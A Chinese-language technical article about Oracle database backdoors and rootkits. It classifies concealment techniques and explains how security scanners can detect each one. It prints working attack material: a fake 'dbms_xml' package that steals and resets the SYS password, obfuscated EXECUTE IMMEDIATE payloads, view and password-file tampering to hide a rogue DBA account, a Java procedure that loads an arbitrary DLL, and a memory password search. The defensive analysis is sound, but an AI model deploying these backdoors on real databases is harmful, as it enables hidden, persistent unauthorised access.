469
技術社區[雲棲]
Oracle安全攻防,你可能不知道自己一直在裸奔
主題簡介:
-
Backdoor(後門)、Rootkit、Vulnerability分別在攻擊中扮演的角色。
-
攻擊者可能使用的Oracle Rootkit技術種類。
-
綜述數據庫漏掃工具現階段能識別的Rootkit類型,提出使其識別更多rootkit類型的建議。
一、Vulnerability 、Backdoor、Rootkit
一場策劃有序的入侵行動中,黑客組織常常會找到網站、操作係統、係統軟件上的Vulnerability(弱點),有針對性地開展一係列組合攻擊,最終達到控製數據庫或操作係統的目的。
如果是政府或財團支持的黑客組織可能不會急於盜取數據庫中的敏感信息進行變現,而選擇在目標數據庫中進行長期潛伏。一方麵等待敏感信息價值和數量的增長,另一方麵可以摸清整個網絡、係統的防護架構和審計能力。防止在盜取敏感數據時,留下特征和證據,以免被對方發現。
這樣的一起黑客入侵事件可還原為以下流程圖:
黑客第一次潛入會使用各種0 day Vulnerability,但對於定期更新補丁的目標係統,一些0 day Vulnerability將會失去作用。為了能夠持續發起對數據庫的攻擊,黑客會在第一次入侵成功後,在數據庫中安插Backdoor(後門)。Backdoor成為黑客組織持續入侵數據庫的關鍵。
Backdoor本身有多種形式,有可能是DBA賬號、存儲過程、函數、視圖等,但Backdoor本身可能被一些專業的數據庫掃描軟件所發現。為了把Backdoor的痕跡抹掉,出現了一種技術——Rootkit。Rootkit好比是Backdoor的隱身衣,躲過掃描工具的檢測。
在入侵過程中,黑客通過Vulnerability成功入侵目標係統內部,奪取數據庫權限。Backdoor負責為黑客後續的攻擊行為提供一扇任意門。Rootkit則負責把這道任意門變為隱形模式。Vulnerability、Backdoor和Rootkit三者聯合是高級滲透攻擊的慣用手段。解決安全問題不光要解決Vulnerability的問題(按時打補丁即可),更重要的是解決Backdoor和Rootkit的存在。能否識破Rootkit的存在,將是數據庫掃描類安全產品的核心競爭力之一。
二、Oracle Rootkit詳解
通過下麵的圖,我們對Rootkit技術進行粗淺的分類:
按照Rootkit技術水平可以分成裸奔自救技術、數據庫級Rootkit技術、操作係統級Rootkit技術和內存級Rootkit技術。
1、裸奔自救技術
采用這種技術手段的使用者普遍對數據庫沒有很深入的理解,Backdoor的存在比較容易被發現。
這些存儲過程多是由SYSDBA用戶創建,大部分具有創建DBA用戶或對某些特定表執行操作的功能,並且必然會調用某些高危的謂詞或對高危表、視圖進行操作。如下例:黑客可以通過傳輸unlock和lock對SYS用戶進行密碼修改,從而短暫獲得SYS用戶的使用權限。通過unlock 把SYS改成指定密碼,同時也會存儲原來的密碼,方便以後進行還原。使用後,再通過lock把SYS的密碼改回去,並刪除過程中產生的表及表信息,抹除痕跡。
下麵是上述過程的還原:
。。。。。。。。。。
CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
var1 VARCHAR2 (100);
BEGIN
IF string = 'unlock' THEN
SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11開始需要從sys.user中拿到密碼dba_users已經沒密碼了做過測試拿不出來
EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
COMMIT;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
END IF;
IF string = 'lock' THEN
EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
EXECUTE IMMEDIATE 'DROP TABLE syspa1';
END IF;
。。。。。。
這種Backdoor如果固化成工具包,名稱都不會改變,隻要在sys.dba_procedures中查詢對應的包名就很容易抓出來。如果不是已知Backdoor,在sys.source$中查詢某些可能被黑客利用的語法結構也能排查出Backdoor。例如查詢ALTER USER這個關鍵權限,則可以發現dbms_xml中包含了ALTER USER。打開dbms_xml進行簡單檢查就會發現其中的問題。
上殼
上麵的Backdoor實在裸奔得厲害,於是黑客會考慮對Backdoor進行“加殼“(加密)。關於如何加殼有這樣2種思路,一是自己寫個函數對真正執行的函數加密,即手工加密,另一種是利用數據庫提供的加密函數進行加密。
手工加密通常依托於Oracle的字符串置換和加密函數(TRANSLATE)。下圖中使用的是TRANSLATE,這個函數負責進行字符串轉換。轉換後,單純對sys.source$進行特定語法查詢是無法查出這個Backdoor的。如下圖示例:
。。。。。。
FUNCTION conv (input IN VARCHAR2)
RETURN VARCHAR2
IS
x VARCHAR2 (300);
BEGIN
x :=
TRANSLATE (input,
'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ',
‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
);
RETURN x;
EXCEPTION
WHEN OTHERS
THEN
RETURN NULL;
END conv;
。。。。。。
。。。。。。
EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1;
EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))');
EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')';
COMMIT;
。。。。。。
經過加殼處理後SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'變成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。這種方式主要為了防止通過關鍵高危字段檢測出Backdoor。雖然通過檢查高危謂詞或高危語句無法檢查出,但Oracle已有的置換字符串函數或加密函數的總數量是有限的。針對這種使用置換字符串或加密函數的存儲過程和函數進行查詢,順藤摸瓜可以很快可以找到Backdoor所在。
由於考慮到可能被數據庫掃描軟件捕獲的可能,很多黑客傾向采用Oracle自帶的,對整個存儲過程進行加密的warp技術。Oracle能內部識別warp加密的內容,且不提供解密函數進行解密。黑客甚至會特別說明這是一個係統自帶包,以此混淆管理員的判斷,但事實上,已經有相當一部分安全廠商完全掌握了warp技術的加解密原理,並且在安全產品中加入了warp還原的能力。真正具備warp還原能力的安全產品,會在warp解密後,立即檢測出Backdoor的“尾巴”。
2、數據庫級Rootkit技術
數據庫級的Rootkit技術,在主流數據庫Backdoor手段中采用最為廣泛,因為其更便於實施,且行為足夠隱蔽,具有數據庫權限即可完成所有Rootkit。
Rootkit的整體思路分為兩種:
-
第一種是改變訪問路徑:通俗說就是你以為你訪問的是A,其實你訪問的是B。
-
第二種思路是隱藏Backdoor:由於大部分安全產品進行檢查都在視圖層,而視圖層有很多可隱藏Backdoor的手段。我們使用一組DBA用戶進行舉例說明,黑客A奪取SYSDBA權限後,創建DBA用戶hacker/hacker。並使用RootKit技術使hacker這個用戶無法被查出。非法DBA用戶hacker/hacker就是這個Backdoor。
(1)換路徑
換路徑的思路相對比較老,主要在Oracle 9i中可以使用。手段是利用synonym創建同名視圖,例如:想查詢有哪些用戶,安全產品通常使用Select username from dba_users這樣的語句;很容易發現hacker用戶。但如果查詢到的是我們自己創造的假dba_users,那隱蔽hacker用戶就很簡單了。
如何能用戶訪問到假的dba_users?這和Oracle 在找目標時的順序密切相關。Oracle會先在當前用戶下尋找是否有,如果沒有就去private Synonyms中尋找,再找不到才會去public Synonyms中尋找。黑客會利用Creating or modify a public synonym pointing to a different object,把自己定義的視圖別名成SYS.dba_user來欺騙查詢的安全產品。
(2)修改視圖
修改視圖的思路是根據換路徑的思路延展開來,但使用麵最廣泛,Oracle全版本通用。既然要做假視圖,改路徑,還不如直接對視圖本身動手。
下圖是all_users的視圖內容:
create or replace view all_users
(username, user_id, created)
as
select u.name, u.user#, u.ctime
from sys.user$ u, sys.ts$ dts, sys.ts$ tts
where u.datats# = dts.ts#
and u.tempts# = tts.ts#
and u.type# = 1;
comment on table ALL_USERS is 'Information about all users of the database';
comment on column ALL_USERS.USERNAME is 'Name of the user';
comment on column ALL_USERS.USER_ID is 'ID number of the user';
comment on column ALL_USERS.CREATED is 'User creation date';
圖中標紅的地方是這個視圖的條件判定,如果我們在這個條件中再加一條and u.name !=''HACKER'',再重建這個視圖通過Select * from all_users;就再也無法查詢出HACKER用戶了。類似的情況不單獨發生在視圖all_users上,類似的還有常用來查詢的dba_users、v$session,、gv_$session、flow_sessions、v_$process、dba_jobs等,這些都可以通過這種方式隱藏掉非法用戶以及非法用戶創建的各種視圖、函數等。
在這種方式的基礎上隨著對視圖內容的深入理解,還可以通過不滿足視圖中的判斷條件,來使用目標隱身。
例如在ALL_users中列出的用戶需要滿足sys.user$.datats = sys.ts$.ts#。如果我們讓這個等式不成立那hacker也就不會被顯示出來。DATATS#中的數值一般在0-4之間,使用update語句對hacker用戶進行調整,把他的DATATS#改到1337,不在0-4的範圍內。這樣sys.user$.datats = sys.ts$.ts#的等式無法成立,就查詢不到hacker。下圖中紅線的部分很明顯的顯示雖然hacker已經查詢不到,但依舊可以用hacker進行登錄。
3、操作係統級Rootkit技術
操作係統級Rootkit技術,額外需要操作係統權限。權限至少是Oracle用戶的權限。思路主要可以分成三類:
-
替換文件:利用某些關鍵操作前的文件替換操作後的文件,實現隻有在基表層有記錄的目的。
-
修改二進製文件:這個主要是修改Oracle文件的某些判定邏輯。
-
構建調用方式,調用外部動態庫:Oracle數據庫支持多種語言,通過這些語言直接在數據庫中構建調用本地操作係統中的動態庫。這些動態庫中有需要使用的Backdoor。
(1)替換文件
替換文件的思路是用某些操作前的文件覆蓋操作後的文件。使得操作隻有部分生效,從而達到隱藏Backdoor的目的。其中比較常見的是Oracle home/dbs/下orapworcl文件的替換。我們還是使用hacker/hacker的例子。
假如我們創建了DBA用戶hacker。後把文件orapworcl備份下來,接著用drop user hacker cascade;對用戶hacker進行徹底刪除。刪除後再把備份的orapworcl重新拷回替換新生成的orapworcl。這時候在SYS.USER$層驗證會發現hacker已經消失了。但如果使用hacker/hacker還是可以以DBA身份登陸到數據庫中。
這種方式雖然可以逃過SYS.USER$層的驗證,但如果查詢基表x$kzsrt還是可以發現hacker用戶的行蹤。
可以看到刪除hacker用戶後,把orapworcl拷貝回去hacker依舊可以登陸。SYS.user$中得記錄被清除,但追到最終得基表x$kzsrt 發現其實hacker還在。有效的隱藏了hacker的存在。
(2)二進製文件
二進製文件的思路主要是兩種:
第一種的本質是通過改變路徑,使訪問者訪問到錯誤的目標。另一種是改變二進製中的判斷條件,隱藏Backdoor,這可以看作是數據庫級Rootkit的升級版。
第一種方式中,在Oracle文件中查詢sys.user$,可以發現如下語句:
如果我們把作為查詢目標的sys.user$,改成我們自己創建的SYS.aser$,我們就可以掌控呈現何種查詢結果。
在Oracle文件中找到sys.user$,替換成我們的SYS.aser$。這樣,用戶以為查詢的是sys.user$,但實際上查詢的是SYS.aser$,即可實現隱藏Backdoor的目的。
除了改路徑外,還可能出現改變查詢的條件語句。我們回到Oracle中查看,會發現如下代碼:
上圖中可以看到關鍵語句:
select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where valid=1 and username != 'INTERNAL'
同樣把這句改成:
select inst_id,username,decode(sysdba,1,'TRUE','FALSE'), decode(sysoper,1,'TRUE','FALSE') from x$kzsrt where username not in('INTERNAL','HACKER')。
就可以達到隱藏hacker用戶的目的。
通過修改二進製隱藏Backdoor,隻從數據庫層去檢查是無法發現問題的。必須對操作係統中的Oracle文件進行前後hash比對才能發現問題。二進製文件的方式雖然隱蔽,但最大的問題是,需要做Oracle文件的替換。如果想要替換Oracle文件就必須把整個數據庫停掉。在實際操作中需要大量的內部信息,才能有更大勝算。
(3)調用方式
Oracle支持多種語言來寫存儲過程,並不隻限於SQL語句。為了躲避檢查,很多有問題的存儲過程會通過其它語言編寫。大部分語句都支持調用本地某個動態庫。如果把Backdoor封裝成一個動態庫,則可以通過調用的方式把Backdoor加載入內存中,調用執行。例如下麵的Java後門就可以達到上述效果。
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVALOADLIB" as
import java.lang.*;
import java.io.*;
public class JAVALOADLIB
{
public static void LoadLibrary(string theLibrary) throws IOException
{
System.load(theLibrary);
}
};
/
CREATE OR REPLACE PROCEDURE JAVALOADLIBPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVALOADLIB.LoadLibrary(java.lang.String)';
/
EXEC JAVALOADLIBPROC('/Oracle/Oracle/product/11.2.0/db_1/ide/lib/hacker.dll');
由於上述過程隻是加載動態庫,所以很可能DBA自己寫的代碼中也有類似邏輯,無法在數據庫中武斷的認為存在Backdoor或被Backdoor所用。這種方式隻能通過對hacker.dll的檢查進行查找。
4、內存級Rootkit技術
內存級Rootkit技術,主要方式就是把Backdoor隱藏於內存之中。隱藏於內存之中數據庫本身基本是無法檢查的,必須和操作係統共同合作。這種方式是4種Rootkit技術中最難被發現的,但同樣也受內存的限製,一旦重啟會直接被清空,需要再次植入。根據Oracle的特性,針對Oracle的內存級Rootkit技術主要可以分為三個大類:
-
SGA區的門道;
-
oradebug的門道;
-
內存的門道。
(1)SGA區的門道
SGA區是數據庫的內存共享區域,在SGA中數據會自動駐留一段時間或人為駐留。這種駐留給Backdoor隱藏帶來了可能性。下麵示例:我們首先創建一個DBA用戶hacker,然後把它藏在內存中。
刪除SYS.user$中hacker的記錄,隻會刪除數據庫中的hacker,而無法刪除SGA中的hacker。無論是查詢視圖DBA_users還是基表x$kzsrt,都無法發現hacker的蹤影。但hacker還是在以DBA權限正常訪問數據庫。
除去這種自動的在SGA區中駐留的方式外,還可以把存儲過程或函數直接手動強行放入SGA區中。使用這種方式不會因為SGA區中數據庫的交換,而被剔除。比起上麵的方法更加穩定。這源於Oracle提供的dbms_shared_pool.keep。dbms_shared_pool.keep本意是幫助數據庫在SGA區中固定某些包,是為了提高工作效率而設計的。而黑客可以利用該函數,把目標包存入數據庫中,躲避安全掃描類軟件的檢查。
(2)Oradebug的門道
Oracle自帶一個給Oracle支持人員追蹤Oracle深層問題的工具-Oradebug。Oradebug可以對SGA內存中的數據庫進行修改。正是這個特點,可以直接對內存中的關鍵參數進行修改。這裏我們用Oradebug修改審計參數為例:原來審計參數是被關閉,現在直接通過Oradebug打開。把目標參數從0改成1即可。
很多變量的參數可以通過類似的方式,在內存中直接定位,然後用Oradebug修改成需要的值。
(3)內存的門道
這個部分需要操作係統的root權限。角度有兩種,一種是在內存中發現需要的值(9i版本獨有)。另一種則是在內存中修改特定的值(10g的一種漏洞)。簡單說這種方式就是在內存中找到需要修改的關鍵點進行修改。
例如我們在內存中找sysawr的情況:
strings /dev/shm/* | grep 'password' | less
....
m user$ where user#=:1
by sysawr password expire account lock
)change_password_on_first_use in ('Y','N')1
.....
當然不僅僅是找到關鍵點後進行修改。還可以利用某些漏洞對特定的部分進行整體編碼修改,改成黑客掌握的密碼。內存中的Backdoor隱蔽性最高,但操作中會有諸多限製,使用並不廣泛。
5、小結
上述四種Rootkit技術中,隻針對數據庫的Backdoor多采用裸奔自救技術或數據庫級Rootkit技術。由於這兩種技術不像操作係統級Rootkit技術需要比較高的操作係統權限。拿到操作係統權限不會隻留下數據庫Backdoor,同時操作係統級的Rootkit的檢查工作需要針對操作係統的掃描軟件輔助。
內存級Rootkit是這四類中最難以被發現的,同時操作難度也是相對最複雜的,很多同樣需要操作係統權限。最大的問題是內存類的Rootkit在重啟數據庫後,會被清空。這和Backdoor需要穩定且長期存在的目的不相符,所以難以廣泛使用。
裸奔自救技術或數據庫級Rootkit技術,易於實施,需要的權限隻局限在數據庫中,同時又能提供一定的強度的隱藏Backdoor效果,屬於實戰中最常用的技巧。除去上文中提到的針對各種Rootkit技術的破解方法。還可以通過對Oracle中的表、存儲過程、函數、視圖、權限、Java源碼等定期做hash計算,驗證目標是否發生變化,如果發生變化很可能存在被惡意改寫,或修改的行為,那麼很可能已經被植入Backdoor。
原文發布時間為:2017-04-21
本文來自雲棲社區合作夥伴DBAplus
最後更新:2017-05-17 12:32:15